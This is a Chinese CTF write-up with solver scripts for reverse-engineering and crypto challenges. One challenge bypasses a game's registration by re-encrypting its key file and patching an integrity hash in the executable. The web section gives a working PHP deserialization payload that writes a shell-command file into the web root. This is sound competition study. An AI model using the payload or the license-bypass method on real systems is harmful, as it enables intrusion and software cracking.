最后苟到了第4名,wp主要是RE部分,后续其他题随缘复现

RE

re_signin

直接看加密

void __fastcall encrypt(unsigned __int8 *a1, _BYTE *a2, int Num2024, int key)
{
int i; // [rsp+20h] [rbp-8h]
int tb; // [rsp+24h] [rbp-4h]
unsigned int ta; // [rsp+24h] [rbp-4h]

tb = 0;
for ( i = 0; i <= 127; ++i )
{
if ( a1[i] )
{
ta = key + Num2024 + tb;
a2[i] = a1[i] + ta;
tb = (ta >> 4) ^ a2[i];
}
}
}

是一个可逆的过程,调试得到key,脚本如下

key = 0xA051
num = 2024
table = []
cmp = [0x9C, 0xCC, 0x88, 0x76, 0xD7, 0x89, 0x78, 0xEC, 0x7C, 0xD7, 0x89, 0x71, 0xE3, 0x6D, 0x98, 0x17, 0x94, 0x0F, 0xCA, 0x9F, 0x7E, 0xD9, 0xA0, 0x8A, 0x79, 0xD1, 0x80, 0x77]

tb = 0
flag = []
for i in range(28):
ta = key + num + tb
flag.append((cmp[i] - (ta&0xff)) & 0xff)
tb = (ta >> 4) ^ cmp[i]
print(''.join(chr(i) for i in flag))

# ctfshow{happy_2024_jiayou_a}

cpp

打开发现全是中文,通过替换,自己修修补补能够还原大部分的逻辑,但是这个常量不太好操作

常量字符错误[] = {
埃德斯塔地址请求,
经济拒绝,
欧克林,
易诺联,
EAFNO支持,
超时,
EILSEQ,
已经准备好了,
EAFNO支持,
超时,
进展顺利,
关闭,
EAFNO支持,
埃斯塔莱,
ENETUNREACH,
埃多多特,
埃斯塔莱,
益登,
0};

根据已有的ENETUNREACH 搜索得到其在 <cerrno> 库中,搜索这个库里面错误常量定义
https://zh.wikipedia.org/w/index.php?title=Errno.h&oldformat=true&variant=zh-cn 维基百科中找到了部分,但是带有注释,Google翻译效果甚微,用正则表达式去除多余的字符,得到下面的结果

基本一致了,还原即可
还原算法后,发现是双字节加密,所以改了下输出,方便爆破

#include <cstdlib>
#include <cstring>
#include <string>
#include <cerrno>
#include <iostream>
#include <vector>

typedef unsigned short int same;

struct Group
{
same peace, love, box[65536];
};

using namespace std;

class super_encode
{
private:
Group G_bag;
string key;
same super_number;

public:
void init(const char* key, same s_n)
{
this->key = string(key);
this->super_number = s_n;
}
void encodeA(vector<same>& input)
{
int length = key.length();
int i, index, j, box_a;
same* box;
G_bag.peace = 0;
G_bag.love = 0;
box = G_bag.box;

for (i = 0; i < 65536; i++)
{
box[i] = i;
}

index = j = 0;

for (i = 0; i < 65536; i++)
{
box_a = box[i];
index = (same)(index + box_a + key[j]);
box[i] = box[index];
box[index] = box_a;
if (++j >= length)
j = 0;
}
}
void encodeB(vector<same>& input)
{
int i, peace, love, box_a, it;
same* box;
peace = G_bag.peace;
love = G_bag.love;
box = G_bag.box;
size_t length = input.size();
for (i = 0; i < length; i++)
{
peace = (same)(peace + 1);
box_a = box[peace];
love = (same)(love + box_a);
box[peace] = it = box[love];
box[love] = box_a;
input.at(i) += box[(same)(box_a + it)];
}

G_bag.peace = peace;
G_bag.love = love;
}
void encodeC(vector<same>& input)
{
size_t length = input.size();

for (int i = 0; i < length; i++)
{
same tmp = 0;
same ch = input.at(i);
same s_n = this->super_number;
while (s_n)
{
if (s_n & 1)
tmp = (tmp + ch);
ch = (ch + ch);
s_n = s_n / 2;
}
input.at(i) = tmp;
}
}
};

const same answer[] = {
1 * 10000 + 3 * 1000 + 6 * 100 + 6 * 10 + 8,
1 * 10000 + 4 * 1000 + 6 * 100 + 4 * 10 + 4,
2 * 10000 + 7 * 1000 + 8 * 100 + 2 * 10 + 3,
7 * 1000 + 1 * 100 + 1 * 10 + 2,
6 * 10000 + 3 * 1000 + 0 * 100 + 3 * 10 + 4,
4 * 1000 + 2 * 100 + 6 * 10 + 9,
6 * 10000 + 4 * 1000 + 8 * 100 + 9 * 10 + 7,
4 * 10000 + 1 * 1000 + 0 * 100 + 0 * 10 + 4,
3 * 10000 + 5 * 1000 + 8 * 100 + 6 * 10 + 4,
1 * 10000 + 4 * 1000 + 4 * 100 + 4 * 10 + 7,
3 * 10000 + 9 * 1000 + 2 * 100 + 4 * 10 + 1,
5 * 10000 + 7 * 1000 + 3 * 100 + 8 * 10 + 6,
1 * 10000 + 6 * 1000 + 7 * 100 + 2 * 10 + 3,
8 * 1000 + 0 * 100 + 6 * 10 + 8,
2 * 10000 + 7 * 1000 + 0 * 100 + 1 * 10 + 2,
4 * 10000 + 1 * 1000 + 2 * 100 + 8 * 10 + 9,
1 * 10000 + 9 * 1000 + 5 * 100 + 2 * 10 + 6,
4 * 10000 + 9 * 1000 + 9 * 100 + 3 * 10 + 7,
3 * 10000 + 3 * 1000 + 0 * 100 + 6 * 10 + 4,
5 * 10000 + 8 * 1000 + 2 * 100 + 7 * 10 + 5
};
//常量字符错误[] = {
const char err[] = {
EDESTADDRREQ,
ECONNREFUSED,
EUCLEAN,
ENOLINK,
EAFNOSUPPORT,
ETIMEDOUT,
EILSEQ,
EALREADY,
EAFNOSUPPORT,
ETIMEDOUT,
EINPROGRESS,
ESHUTDOWN,
EAFNOSUPPORT,
ESTALE,
ENETUNREACH,
EDOTDOT,
ESTALE,
EDOM, // y
0 };
int main()
{
string input_flag;
// cout << "please input: " << endl;
cin >> input_flag;
same format_flag[64] = { 0 };
memcpy(format_flag, input_flag.c_str(), input_flag.size());
vector<same> common_flag;

int count = 0;

while (true)
{
if (format_flag[count] == 0)
{
break;
}
common_flag.push_back(format_flag[count]);
count += 1;
}
super_encode beef;
beef.init(err, 0x1337);
beef.encodeA(common_flag);
beef.encodeB(common_flag);
beef.encodeC(common_flag);
try
{
for (int i = 0; i < min(common_flag.size(), sizeof(answer) / sizeof(answer[0])); i++)
{
if (common_flag.at(i) != answer[i])
{
// throw runtime_error("Wrong");
// cout << input_flag << "-> " << hex << common_flag.at(i) << endl;
}
else {
cout << "@";
}
}
}
catch (exception& e)
{
// cout << "Check Fail!" << endl;
exit(1);
}
// cout << "Check passed!" << endl;
exit(0);
}

爆破脚本如下

import subprocess
import string
import itertools

print("[*]")
found_flag = False
flag = ''
while len(flag) < 40:
for i in itertools.product(string.printable, repeat=2):
buf = '' + flag
buf += ''.join(i)
p = subprocess.Popen("./3demo",
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE)
p.stdin.write(buf.encode())
p.stdin.close()

output = p.stdout.read()
if b'@' in output:
if len(output) > (len(flag)//2):
flag = buf
print(f"[*]{flag}")
found_flag = True
break
if not found_flag:
print("Flag not found")
break

# ctfshow{Oh!Y0uUndEr5t4nD7he14nguaGeN0W!}

四国军棋_套神注册码

起初看不懂提示,就直接分析exe的注册验证逻辑
通过查找中文字符串“已注册”、“注册无效” 找到函数sub_409460
通过多次调试,得到下面的信息:
先打开OPREC文件,并且将文件内容存储到内存

  v12[353787] = 0x40080000;
GetCurPath(v136, v136 + 680812); // 得到当前目录信息
strcpy(Destination, v136 + 680812);
strcat(Destination, aOprec); // 地址拼接得到oprec 的地址
handle = j____open(Destination, 0, 0); // 打开Oprec文件
if ( handle == -1 ) // 检测是否打开成功
...
readfile(handle, v136 + 0x128, 0x10A4u); // 从Oprec 文件中读取4260字节的数据,存储到v135+1184

然后对两组数据进行了解密,解密后的明文可以在Src中看到,其实就是注册界面输入的账号和注册码

对于这个OPREC文件,通过字符串找到了注册的地方,看到了将账号和注册码写入该文件的地方,通过对比运行文件前后的OPREC文件,找到了这两个加密后密文存储的文件偏移

然后又读取了aimethod.bin文件

strcpy(Destination, v136 + 680812);
strcat(Destination, aAimethodBin); // aimethod.bin
handle = j____open(Destination, 0, 0); // 读写aimethod.bin
if ( handle != -1 )
readfile(handle, v136 + 0x55D, 0x75300u); // 读取aimethod.bin的值存储在v135+0x1574
j____close(handle); // 关闭文件读写

对这个文件也进行了解密,解密次数30000次,与keys.txt中的验证码数目相同,也就是这个时候觉得修改的文件应该是这个

for ( j = 0; j < 30000; ++j )                 // 这个次数刚好把文件解密完全
{
deData(v112, &v136[4 * j + 0x55D], v93); // 一直解密,解密的数据存储在v136
memcpy(&v136[4 * j + 0x55D], v93, 0x10u);
}
memset(Str1, 0, sizeof(Str1));
MD5((v136 + 0x55D), 0x7530u, 16, v92); // 进行了处理
// MD5
sub_4DBF48(v92, Str1); // 进行格式化,得到十六进制字符串

解密之后,对解密后的文件内容进行了MD5计算
这个MD5是点进去发现了MD5的初始向量,就感觉是MD5

_DWORD *__cdecl sub_4DB370(_DWORD *a1)
{
_DWORD *result; // eax

result = a1;
a1[5] = 0;
a1[4] = 0;
*a1 = 0x67452301;
a1[1] = 0xEFCDAB89;
a1[2] = 0x98BADCFE;
a1[3] = 0x10325476; // MD5初始状态量
return result;
}

于是将解密后的文件DUMP出来,进行了MD5计算,结果刚好和后续的MD5比较处的一致

.text:00409B87                 push    20h ; ' '       ; MaxCount
.text:00409B89 push offset aA6d5b6ff893087 ; "a6d5b6ff8930878acaaf9585fadbc0c7"
.text:00409B8E lea edx, [ebp+Str1]
.text:00409B94 push edx ; Str1
.text:00409B95 call _strncmp

这也刚好是32字节,估计要PATCH的地方就是这里
下面这段代码对输入的注册码进行了MD5计算,并且与aimethod.bin解密后的内容进行了对比,循环次数30000次

.text:00409C05                 lea     eax, [ebp+var_2F0]
.text:00409C0B push eax
.text:00409C0C push 10h
.text:00409C0E mov edx, [esi]
.text:00409C10 add edx, 914h
.text:00409C16 push edx
.text:00409C17 call MD5
.text:00409C1C mov eax, [esi]
.text:00409C1E add esp, 0Ch
.text:00409C21 xor ebx, ebx
.text:00409C23 lea edx, [eax+1574h]
.text:00409C29 mov [ebp+var_A4], edx
.text:00409C2F
.text:00409C2F loc_409C2F: ; CODE XREF: sub_409460+811↓j
.text:00409C2F mov edx, [ebp+var_A4]
.text:00409C35 xor eax, eax
.text:00409C37 mov ecx, edx
.text:00409C39 lea edx, [ebp+var_2F0]
.text:00409C3F mov [ebp+var_A8], ecx
.text:00409C45
.text:00409C45 loc_409C45: ; CODE XREF: sub_409460+7FC↓j
.text:00409C45 mov cl, [edx]
.text:00409C47 mov edi, [ebp+var_A8]
.text:00409C4D cmp cl, [edi]
.text:00409C4F jnz short loc_409C5E
.text:00409C51 inc eax
.text:00409C52 inc [ebp+var_A8]
.text:00409C58 inc edx
.text:00409C59 cmp eax, 10h
.text:00409C5C jl short loc_409C45
.text:00409C5E
.text:00409C5E loc_409C5E: ; CODE XREF: sub_409460+7EF↑j
.text:00409C5E cmp eax, 10h
.text:00409C61 jge short loc_409C73
.text:00409C63 inc ebx
.text:00409C64 add [ebp+var_A4], 10h
.text:00409C6B cmp ebx, 7530h
.text:00409C71 jl short loc_409C2F

那这就明确了,aimethod.bin中存储了30000个注册码,在验证的时候,通过对比进行MD5值来检验输入注册码是否合法,并且程序为了防止修改aimethod.bin文件,在运行时对其进行了MD5校验。
那破解的思路就是:
将keys.txt中的30000个注册码进行MD5加密,加密后的文件,再进行程序中的加密算法加密,替换掉aimethod.bin文件,并且Patch exe文件中的MD5检验值,那么程序的注册码就成了keys.txt中的内容。

首先,计算keys.txt中每个字符的MD5值,并写入文件

import hashlib
def readFile(file_path):
with open(file_path, "r") as file:
strings = [line.strip() for line in file]
return strings

def writeFile(data, filename):
with open(filename, 'wb') as file:
file.write(data)

def getMD5(buffer):
res = b''
for i in buffer:
i = bytes(i.encode())
if len(i) != 16:
i += b'\x00' * (16-len(i))
md5_hash = hashlib.md5()
md5_hash.update(i)
res += md5_hash.digest()
return res

buffer = readFile("./keys.txt")
FileData = getMD5(buffer)
writeFile(FileData, "./keysDemo")

还原加密算法,并且加入文件加密

这里注意,加密的时候字符串需要进行0填充到长度为16

计算加密后文件的MD5值

❯ get-FileHash -Path "keysDemo" -Algorithm MD5 | Select-Object Hash

Hash
----
CF54E9DC4E6B2FB5631532DA37397A2E

修改exe中的字符串

.data:005A2D83 a55b924ce677dbb db 'cf54e9dc4e6b2fb5631532da37397a2e',0

还原加密算法,加入文件加密功能

#include <iostream>
#include <fstream>

using namespace std;

unsigned char SBOX[208] = {0xB4, 0xF3, 0xC3, 0x9D, 0x08, 0xC5, 0x31, 0x82, 0xDB, 0x3A,
0x50, 0x3A, 0xAF, 0x1A, 0x25, 0x4F, 0xD5, 0xFB, 0x60, 0x80,
0x1F, 0xA0, 0x22, 0x66, 0x1B, 0xF2, 0xB3, 0x5E, 0x96, 0xD8,
0xBB, 0x1A, 0x63, 0x09, 0x12, 0xB4, 0x9B, 0x61, 0xAD, 0x9D,
0x94, 0x5D, 0x6F, 0x5D, 0x2C, 0x27, 0xA4, 0xC7, 0x66, 0xC2,
0xC6, 0xA4, 0xDC, 0x5C, 0x25, 0x83, 0x2D, 0xD0, 0x2C, 0xC9,
0xED, 0x97, 0x64, 0xA5, 0xCE, 0x42, 0x53, 0x3E, 0xD2, 0x67,
0x95, 0xDA, 0x27, 0x9B, 0x75, 0x5A, 0x32, 0xE2, 0xD1, 0x48,
0x7F, 0xE2, 0xB7, 0x40, 0x91, 0x7E, 0xC9, 0xC0, 0xD5, 0xD5,
0xB3, 0x88, 0xED, 0x74, 0xEB, 0xFD, 0x0E, 0x25, 0x66, 0x39,
0x42, 0x2A, 0x1D, 0x4A, 0xFB, 0x85, 0xCB, 0x97, 0xB2, 0xA2,
0x8D, 0x9C, 0xBB, 0xF9, 0xCA, 0x90, 0x9A, 0x08, 0x5A, 0xF3,
0x93, 0x70, 0x63, 0x9A, 0x1B, 0x2A, 0x79, 0xD9, 0x37, 0x98,
0x29, 0x9D, 0x9A, 0x2D, 0xD4, 0x6F, 0xFB, 0x15, 0xD7, 0x09,
0x86, 0xB0, 0xD2, 0x18, 0xF0, 0xB7, 0xC7, 0x0D, 0x64, 0x53,
0xFC, 0x27, 0x07, 0xAF, 0x2C, 0xAB, 0x2D, 0xC9, 0x65, 0x7B,
0x66, 0x86, 0x16, 0x45, 0x5A, 0x1B, 0x4B, 0x0C, 0x03, 0xCD,
0x51, 0x3B, 0xC8, 0x86, 0x8B, 0xB9, 0x45, 0x00, 0x13, 0xEF,
0x01, 0x12, 0x23, 0x34, 0x45, 0x56, 0x67, 0x78, 0x89, 0x9A,
0xAB, 0xBC, 0x23, 0xDE, 0xEF, 0x23, 0x01, 0x21, 0x12, 0xEC,
0x23, 0xAA, 0x34, 0x0A, 0x20, 0xC2, 0x62, 0x02};

void encode(unsigned int *BOX, const unsigned char *input, unsigned char *output);
void TEA(unsigned int *BOX, const unsigned int *input_int, unsigned int *output_int);

int main(void) {
ifstream inputFile("keysDemo", ios::binary);
ofstream outputFile("output", ios::binary);

if (!inputFile || !outputFile) {
cerr << "Error opening files." << endl;
return 1;
}

const int blockSize = 16;
unsigned char inputBlock[blockSize];
unsigned char outputBlock[blockSize];

while (inputFile.read(reinterpret_cast<char*>(inputBlock), blockSize)) {
encode(reinterpret_cast<unsigned int*>(SBOX), inputBlock, outputBlock);
outputFile.write(reinterpret_cast<char*>(outputBlock), blockSize);
}

inputFile.close();
outputFile.close();

cout << "Encryption completed." << endl;

return 0;
}

void encode(unsigned int *BOX, const unsigned char *input, unsigned char *output) {
unsigned int input_int[4];
unsigned int output_int[4];

for (int i = 0; i < 4; i++)
input_int[i] = (unsigned int)input[3 + i * 4] | (unsigned int)(input[2 + i * 4] << 8) | (unsigned int)(input[1 + i * 4] << 16) | (unsigned int)(input[0 + i * 4] << 24);

TEA(BOX, input_int, output_int);

for (int i = 0; i < 4; i++) {
output[0 + i * 4] = (output_int[i] & 0xFF000000) >> 24;
output[1 + i * 4] = (output_int[i] & 0x00FF0000) >> 16;
output[2 + i * 4] = (output_int[i] & 0x0000FF00) >> 8;
output[3 + i * 4] = (output_int[i] & 0x000000FF);
}
}
void TEA(unsigned int *BOX, const unsigned int *input_int, unsigned int *output_int) {
unsigned int buf_0 = input_int[0];
unsigned int buf_2 = input_int[2];
unsigned int buf_1 = *BOX + input_int[1];
unsigned int buf_3 = BOX[1] + input_int[3];
unsigned int index = 2;
unsigned int *BOX_2 = BOX + 2;

unsigned int tmp_0;
unsigned int tmp_1;
unsigned int tmp_2;

do {
tmp_0 = ((unsigned int)(buf_3 * (2 * buf_3 + 1)) >> 27) | (32 * buf_3 * (2 * buf_3 + 1));
tmp_1 = BOX_2[0] + ((((((unsigned int)(buf_1 * (2 * buf_1 + 1)) >> 27) | (32 * buf_1 * (2 * buf_1 + 1))) ^ buf_0) << (((unsigned int)(buf_3 * (2 * buf_3 + 1)) >> 27) & 0x1F)) | ((buf_0 ^ (((unsigned int)(buf_1 * (2 * buf_1 + 1)) >> 27) | (32 * buf_1 * (2 * buf_1 + 1)))) >> (32 - ((unsigned char)((unsigned int)(buf_3 * (2 * buf_3 + 1)) >> 24) >> 3))));
buf_0 = buf_1;
buf_1 = BOX_2[1] + (((tmp_0 ^ buf_2) << (((unsigned int)(buf_1 * (2 * buf_1 + 1)) >> 27) & 0x1F)) | ((tmp_0 ^ buf_2) >> (32 - ((unsigned char)((unsigned int)(buf_1 * (2 * buf_1 + 1)) >> 24) >> 3))));
buf_2 = buf_3;
index += 2;
BOX_2 += 2;
buf_3 = tmp_1;
} while (index <= 40);

tmp_2 = BOX[43];
output_int[0] = BOX[42] + buf_0;
output_int[1] = buf_1;
output_int[2] = tmp_2 + buf_2;
output_int[3] = buf_3;
}

将加密后的文件替换aimethod.bin
运行后,输入keys.txt中的任意注册码都能注册成功

然后就是补充RE1.py的部分了


import hashlib
from Crypto.Cipher import AES
# 现在你有 30000 个注册码在 keys.txt ,替换掉程序原有的注册码

# 问题1:你应该修改一个外部文件(不需要./开头,直接是文件名字)

FILENAME = "aimethod.bin".lower()

# 问题2:修改后文件的HASH(自动运算,无需填写)

# 问题3:需要给 四国争霸.exe 打一个 32字节的Patch,找到文件修改位置,Patch内容为 32个 0-9a-f 字符
# 0x1a2d83
OFFSET = 0x1a2183
PATCH = "cf54e9dc4e6b2fb5631532da37397a2e"
assert(len(PATCH) == 32)

# ---- ANSWER SHEET OVER ------
# 读取文件内容 修改的外部文件
DATA = open(FILENAME,"rb").read()
# 计算文件的哈希值
FILEHASH = hashlib.blake2b(DATA).digest()
# HASH1 文件名的HASH值
HASH1 = hashlib.blake2b(FILENAME.encode()).digest()
# HASH2 文件内容的哈希值
HASH2 = FILEHASH
# 确保OFFSET的类型为整数
assert(type(OFFSET) == type(-1) )
# HASH3-1 OFFSET的哈希值
HASH31 = hashlib.blake2b(str(OFFSET).encode()).digest()
# HASH3-2 PATCH的哈希值
HASH32 = hashlib.blake2b(bytes.fromhex(PATCH)).digest()

# 汇总HASH
D = hashlib.blake2b(HASH1 + HASH2 + HASH31 + HASH32).digest()
KEY = D[0:16]
IV = D[16:32]
cipher = AES.new(KEY,AES.MODE_GCM,IV)


C = bytes.fromhex("592fa928073d95ffddeb59c7d58ea07d7e5316bf4f13a1c1171e2f39bd30206b733556908536fb62247af210ff5e6a4efa95b104abb9147cdbd172ca40d5467b5cb16c2829cb47d94b58d6c2c1316db1")
H = bytes.fromhex("77a251b38f82ee953d07638565529468")
FLAG = cipher.decrypt_and_verify(C,H)
print(FLAG.decode())

# ctfshow{RegisterWithYourOWNCODE!You_never_M33t_the_newfangled_Rev3rse_Challenge}

Crypto

月月的爱情故事

提示摩斯,观察文本只有,。!三个符号,刚好对的上摩斯电码中的点、划、停顿,尝试替换->. -> - -> ,然后提取符号,脚本如下

import re

def remove_chinese(text):
    chinese = re.compile(r'[\u4e00-\u9fa5]')
    result = chinese.sub('', text)
    return result

input_text = "你知道吗.月月今天遇到了一个让他心动的女孩-她的名字叫做小雨-太幸运了.小雨是一个活泼可爱的女孩 她的笑容如同春天里的阳光.温暖了月月的心-月月第一次见到小雨是在图书馆里 事情是这样的.当时小雨正在专心致志地看书.阳光洒在她的脸上.让她看起来如同天使一般美丽 月月被小雨的美丽和才华所吸引.开始暗暗关注她.在接下来的日子里.月月开始尝试与小雨接触 和她聊天和学习.他们有着许多共同的兴趣爱好-一起度过了许多快乐的时光-渐渐地 月月发现自己对小雨产生了特殊的感情-他开始向小雨表达自己的心意-然而-小雨并没有立即接受月月的感情 她告诉月月.她曾经受过感情的伤害-需要时间来慢慢修复自己的心灵.月月尊重小雨的决定 他开始用更多的时间和精力来陪伴小雨-帮助她走出过去的阴影.在接下来的几个月里.月月和小雨的关系逐渐升温 他们一起参加了许多校园活动.一起探索了那个城市的角角落落.渐渐地 雨也开始对月月产生了感情.她发现自己越来越依赖他.越来越喜欢他.最终 小雨和月月走到了一起-他们的爱情故事成为了校园里的佳话.让同学们都羡慕不已-他们一起度过了青春岁月-一起经历了成长和进步的喜悦与挫折 他们的感情越来越深厚.也越来越稳定.在他们的恋爱过程中-月月和小雨也学会了如何相处和包容对方 他们互相理解互相支持.一起面对生活中的挑战和困难 他们的爱情让他们变得更加坚强和勇敢-也让他们感受到了生命中最美好的东西.月月相信他们能走得更远-更相信自己不会辜负小雨-当他们遭遇挫折和失败的时候 两人永远不会被打倒.这正是他们彼此爱的力量.在他们空闲的时候-月月经常带小雨出去逛街 晚上一起看电影.有一天 月月说将来他要给小雨一场最美的婚礼-小雨十分感动也十分期盼.就这样.这份约定成为了两人前进的动力.两人共同努力最终一起考上了同一所大学的研究生.两人非常开心彼此深情地看着对方似乎有说不完的情话 研究生三年他们互相帮助一起度过了人生最有意义的大学时光-毕业后两人也很轻松找到了自己心仪的企业.月月没有忘记当初的约定.是的.他要给小雨一场最美好的婚礼.终于 这一天到来了-小雨穿上月月为她定制的婚纱.他们手牵手走向了更美好的未来.场下.所有的嘉宾都为他们鼓掌和欢呼并祝福他们的爱情能够永恒长存."

result_text = remove_chinese(input_text)

print(result_text)

# .--. .- ... ... .-- --- .-. -.. .. ... -.-- ..- . -.-- ..- . -.... -.... -....


摩斯密码解密为PASSWORDISYUEYUE666


还给了一个base64编码过的字符串,一次base64解码后U2Fsd打头,两次base64解码发现Salted__字段,觉得是用AES加盐

密文:U2FsdGVkX1/bVF45zytlkeEhefAqkpHQdMqtULk2OibLq79NHJMm9rP3CtkKrE41
CaBJmMIVcUVSb3IzpHeuWw==
密钥:YUEYUE666

ctfshow{W0w_th3_st0ry_s0_w0nderfu1!}

NOeasyRSA

类似DH密钥交换的过程,虽然只给了两个公钥AB,但只需要知道pow(u,a,p)B /pow(u,b,p)B就能计算出公共密钥
从生成 A 的等式中恢复 pow(u,a,p)
使用 pow(u,a,p) 和B计算共享密钥,然后将其与 enc进行异或,得到flag,脚本如下

from Crypto.Util.number import long_to_bytes, bytes_to_long
from Crypto.Util.strxor import strxor

p = 97201997431130462639713476119411091922677381239967611061717766639853376871260165905989218335681560177626304205941143288128749532327607316527719299945637260643711897738116821179208534292854942631428531228316344113303402450588666012800739695018334321748049518585617428717505851025279186520225325765864212731597
u = 14011530787746260724685809284106528245188320623672333581950055679051366424425259006994945665868546765648275822501035229606171697373122374288934559593175958252416643298136731105775907857798815936190074350794406666922357841091849449562922724459876362600203284195621546769313749721476449207319566681142955460891977927184371401451946649848065952527323468939007868874410618846898618148752279316070498097254384228565132693552949206926391461108714034141321700284318834819732949544823937032615318011463993204345644038210938407875147446570896826729265366024224612406740371824999201173579640264979086368843819069035017648357042
v = 16560637729264127314502582188855146263038095275553321912067588804088156431664370603746929023264744622682435376065011098909463163865218610904571775751705336266271206718700427773757241393847274601309127403955317959981271158685681135990095066557078560050980575698278958401980987514566688310172721963092100285717921465575782434632190913355536291988686994429739581469633462010143996998589435537178075521590880467628369030177392034117774853431604525531066071844562073814187461299329339694285509725214674761990940902460186665127466202741989052293452290042871514149972640901432877318075354158973805495004367245286709191395753
w = 30714296289538837760400431621661767909419746909959905820574067592409316977551664652203146506867115455464665524418603262821119202980897986798059489126166547078057148348119365709992892615014626003313040730934533283339617856938614948620116906770806796378275546490794161777851252745862081462799572448648587153412425374338967601487603800379070501278705056791472269999767679535887678042527423534392867454254712641029797659150392148648565421400107500607994226410206105774620083214215531253544274444448346065590895353139670885420838370607181375842930315910289979440845957719622069769102831263579510660283634808483329218819353
A = 19000912802080599027672447674783518419279033741329820736608320648294849832904652704615322546923683308427498322653162857743332527479657555691849627174691056234736228204031597391109766621450008024310365149769851160904834246087493085291270515883474521052340305802461028930107070785434600793548735004323108063823
B = 73344156869667785951629011239443984128961974188783039136848369309843181351498207375582387449307849089511875560536212143659712959631858144127598424003355287131145957594729789310869405545587664999655457134475561514111282513273352679348722584469527242626837672035004800949907749224093056447758969518003237425788
enc = b'\xfd\xc1\xb7\x9d"$\xc2\xb0\xb5\xee\xf89\xa4V\x8e\x17\x01K9\xbc.\x92=\x85\x80\xd4\x03\xefAl"\xbd\x8b\xcdL\xb5\xa3!'

uap = (((1 - u) * A * pow(v, -1, p) - 1) * pow(w * (1 - u) * pow(v, -1, p) - 1, -1, p)) % p
# print(uap)
key = (uap*B + v*(1-uap)*pow(1-u, -1, p)) % p

FLAG = strxor(enc, long_to_bytes(key)[:len(enc)])
print(FLAG.decode())

# ctfshow{This_Is_Really_Not_So_Smooth!}

Web

easy_login

给出了源码链接,里面提到ctfshow 暑期活动 红包挑战9 源码,故直接去找当时其他师傅的wp
最后参照了cyyyy师傅的wp中的pop链构造和Payload
pop链

```PHP
<?php

session_start();
class mysql_helper
{
public $option = array(
PDO::MYSQL_ATTR_INIT_COMMAND => "select '<?=`nl /*`;' into outfile '/var/www/html/3.php';"
);
}
class application
{
public $mysql;
public $debug = true;

public function __construct()
{
$this->mysql = new mysql_helper();
}

}
$_SESSION['user'] = new application();
echo session_encode();

Payload

/index.php?action=main&token=user|O%3a11%3a"application"%3a2%3a{s%3a5%3a"mysql"%3bO%3a12%3a"mysql_helper"%3a1%3a{s%3a6%3a"option"%3ba%3a1%3a{i%3a1002%3bs%3a57%3a"select+'<%3f%3d`nl+/*`%3b'++into+outfile+'/var/www/html/3.php'%3b"%3b}}s%3a5%3a"debug"%3bb%3a1%3b}

上传后直接访问/3.php获得flag